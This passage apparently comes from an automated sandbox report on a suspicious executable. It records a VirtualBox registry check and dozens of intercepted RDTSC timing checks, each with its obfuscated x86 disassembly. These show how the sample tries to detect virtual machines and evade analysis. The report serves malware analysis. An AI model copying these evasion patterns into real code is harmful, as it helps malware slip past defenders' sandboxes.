Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C069B second address: 9C06A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0B51 second address: 9C0B55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0B55 second address: 9C0B59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0B59 second address: 9C0B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE9A87AE1F3h 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0B77 second address: 9C0BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE9A9298656h 0x0000000a popad 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE9A9298666h 0x00000014 jc 00007FE9A9298656h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0BA2 second address: 9C0BA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0BA6 second address: 9C0BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0BAC second address: 9C0BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0E90 second address: 9C0E9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0E9E second address: 9C0EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C294A second address: 9C294E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C294E second address: 9C2983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 push esi 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pop ecx 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007FE9A87AE1F1h 0x0000001a jmp 00007FE9A87AE1EEh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2983 second address: 9C29B9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007FE9A9298656h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jnp 00007FE9A929865Eh 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 pushad 0x00000019 jmp 00007FE9A9298661h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C29B9 second address: 9C29BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2AF3 second address: 9C2B1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FE9A9298656h 0x00000009 ja 00007FE9A9298656h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 mov edx, dword ptr [ebp+122D3A62h] 0x0000001d call 00007FE9A9298659h 0x00000022 push eax 0x00000023 push edx 0x00000024 push ecx 0x00000025 pushad 0x00000026 popad 0x00000027 pop ecx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2B1F second address: 9C2B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2B24 second address: 9C2B4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A9298667h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2B4B second address: 9C2B51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2B51 second address: 9C2B55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2B55 second address: 9C2B77 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE9A87AE1E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jng 00007FE9A87AE1ECh 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2B77 second address: 9C2B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jl 00007FE9A9298658h 0x0000000d popad 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2D33 second address: 9C2D50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE9A87AE1F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2DF2 second address: 9C2DF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2DF6 second address: 9C2DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D54C3 second address: 9D54DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FE9A9298664h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3D2C second address: 9E3D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B43B1 second address: 9B43C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A929865Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B43C0 second address: 9B43DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE9A87AE1F5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4246 second address: 9E424A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E424A second address: 9E4250 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D959F second address: 9D95C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE9A9298662h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jng 00007FE9A9298656h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D95C0 second address: 9D95C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D95C4 second address: 9D960F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FE9A9298679h 0x00000011 jmp 00007FE9A929865Eh 0x00000016 jmp 00007FE9A9298665h 0x0000001b pushad 0x0000001c jmp 00007FE9A929865Bh 0x00000021 jbe 00007FE9A9298656h 0x00000027 push ecx 0x00000028 pop ecx 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4BFC second address: 9E4C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4D5B second address: 9E4D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4D5F second address: 9E4DA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE9A87AE1EFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007FE9A87AE1F0h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007FE9A87AE1EAh 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 popad 0x00000022 ja 00007FE9A87AE21Ah 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b pop eax 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4DA5 second address: 9E4DCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A9298661h 0x00000007 jmp 00007FE9A929865Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4DCB second address: 9E4DCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E50C5 second address: 9E50CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E50CB second address: 9E50D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E50D1 second address: 9E50D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E50D7 second address: 9E50E4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE9A87AE1E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6854 second address: 9E6871 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FE9A9298656h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FE9A9298661h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AF549 second address: 9AF58B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE9A87AE1EFh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007FE9A87AE1F0h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FE9A87AE1F5h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA214 second address: 9EA223 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA223 second address: 9EA22D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE9A87AE1E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA443 second address: 9EA450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FE9A9298656h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9360 second address: 9E9364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEB9D second address: 9EEBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EEBA1 second address: 9EEBA7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F38FA second address: 9F3900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3900 second address: 9F391B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE9A87AE1E6h 0x0000000a popad 0x0000000b jmp 00007FE9A87AE1F0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F391B second address: 9F3922 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F2D5C second address: 9F2D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F31B4 second address: 9F31B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3468 second address: 9F346C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F35CA second address: 9F35D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE9A9298656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F35D4 second address: 9F35E7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE9A87AE1E6h 0x00000008 jno 00007FE9A87AE1E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F35E7 second address: 9F35F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE9A9298656h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F379B second address: 9F37B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE9A87AE1F0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F37B0 second address: 9F37B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F37B6 second address: 9F37F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007FE9A87AE205h 0x0000000d jmp 00007FE9A87AE1F9h 0x00000012 jnl 00007FE9A87AE1E6h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push ebx 0x0000001b jmp 00007FE9A87AE1ECh 0x00000020 jbe 00007FE9A87AE1ECh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F407B second address: 9F407F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F407F second address: 9F408D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FE9A87AE1E6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F408D second address: 9F4091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F43A0 second address: 9F43A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F4549 second address: 9F4553 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE9A9298656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F522E second address: 9F5232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F603B second address: 9F604C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE9A9298656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F604C second address: 9F6051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F6051 second address: 9F60EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FE9A9298656h 0x00000009 jmp 00007FE9A9298669h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FE9A9298658h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c mov edi, dword ptr [ebp+122D3B02h] 0x00000032 push 00000000h 0x00000034 pushad 0x00000035 mov eax, dword ptr [ebp+122D3AE2h] 0x0000003b jg 00007FE9A929865Ch 0x00000041 popad 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push ecx 0x00000047 call 00007FE9A9298658h 0x0000004c pop ecx 0x0000004d mov dword ptr [esp+04h], ecx 0x00000051 add dword ptr [esp+04h], 0000001Ah 0x00000059 inc ecx 0x0000005a push ecx 0x0000005b ret 0x0000005c pop ecx 0x0000005d ret 0x0000005e mov si, EB23h 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jp 00007FE9A9298658h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F84AB second address: 9F84B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9FF3 second address: 9FA005 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE9A9298656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FE9A929865Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA005 second address: 9FA058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 js 00007FE9A87AE1E6h 0x0000000d jmp 00007FE9A87AE1F6h 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE9A87AE1F5h 0x0000001c jmp 00007FE9A87AE1F6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA6CC second address: 9FA6F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A929865Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE9A9298668h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA6F7 second address: 9FA6FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FAE9E second address: 9FAEA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FE9A9298656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBAB3 second address: 9FBB24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b jne 00007FE9A87AE1F2h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FE9A87AE1E8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov esi, ecx 0x00000030 jmp 00007FE9A87AE1ECh 0x00000035 push 00000000h 0x00000037 or dword ptr [ebp+122D17F8h], esi 0x0000003d push eax 0x0000003e pushad 0x0000003f push edi 0x00000040 pushad 0x00000041 popad 0x00000042 pop edi 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBB24 second address: 9FBB28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FB8F6 second address: 9FB8FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBB28 second address: 9FBB2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF813 second address: 9FF833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE9A87AE1F6h 0x00000009 jnc 00007FE9A87AE1E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF833 second address: 9FF837 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB1B4 second address: 9BB1C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE9A87AE1EAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB1C8 second address: 9BB1CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00ACC second address: A00B64 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE9A87AE1ECh 0x00000008 jns 00007FE9A87AE1E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push esi 0x00000012 push edx 0x00000013 mov ebx, 65C1AC96h 0x00000018 pop edi 0x00000019 pop ebx 0x0000001a push dword ptr fs:[00000000h] 0x00000021 pushad 0x00000022 sub dword ptr [ebp+12455936h], ebx 0x00000028 sbb di, 2821h 0x0000002d popad 0x0000002e mov dword ptr fs:[00000000h], esp 0x00000035 xor dword ptr [ebp+1244EF36h], eax 0x0000003b mov eax, dword ptr [ebp+122D118Dh] 0x00000041 push 00000000h 0x00000043 push edx 0x00000044 call 00007FE9A87AE1E8h 0x00000049 pop edx 0x0000004a mov dword ptr [esp+04h], edx 0x0000004e add dword ptr [esp+04h], 00000016h 0x00000056 inc edx 0x00000057 push edx 0x00000058 ret 0x00000059 pop edx 0x0000005a ret 0x0000005b mov ebx, dword ptr [ebp+122D304Ch] 0x00000061 or di, D797h 0x00000066 push FFFFFFFFh 0x00000068 mov ebx, esi 0x0000006a push eax 0x0000006b pushad 0x0000006c jmp 00007FE9A87AE1F6h 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007FE9A87AE1F0h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01940 second address: A01945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A00B64 second address: A00B68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
